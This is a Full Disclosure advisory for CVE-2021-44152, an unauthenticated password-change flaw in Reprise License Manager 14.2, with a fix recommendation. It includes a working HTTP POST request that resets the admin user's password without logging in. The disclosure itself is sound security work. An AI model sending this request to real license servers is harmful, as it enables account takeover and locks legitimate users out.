[FD] (Reprise License Manager) RLM 14.2 - Unauthenticated Password Change

[Gionathan Reale via Fulldisclosure <fulldisclosure@xxxxxxxxxxxx>]

# Product: Reprise License Manager 14.2
# Vendor: Reprise Software
# CVE ID: CVE-2021-44152
# Vulnerability Title: Unauthenticated Password Change
# Severity: High
# Author(s): Mark Staal Steenberg, Bilal El Ghoul, Gionathan Armando Reale, 
Andreas Fyhn Andersen, Oliver Lind Nordestgaard  
# Date: 2021-11-25
#############################################################
Introduction:
Because /goform/change_password_process does not verify authentication or 
authorization, an unauthenticated user can change the password of  any existing 
user. This allows an attacker to change the password of any known user, thereby 
preventing valid users from accessing the system and granting the attacker full 
access to that user's account.

Vulnerability:
If an unauthenticated user sends the following HTTP request they can change the 
password of any user:

POST /goform/change_password_process HTTP/1.1
Host: 127.0.0.1:5054
Content-Length: 53

pw1=passwd&pw2=passwd&user=admin&ok=CHANGE%2BPASSWORD

Recommendation:
Ensure that authentication is required prior to password change requests and 
that users cannot modify or change passwords of others users.

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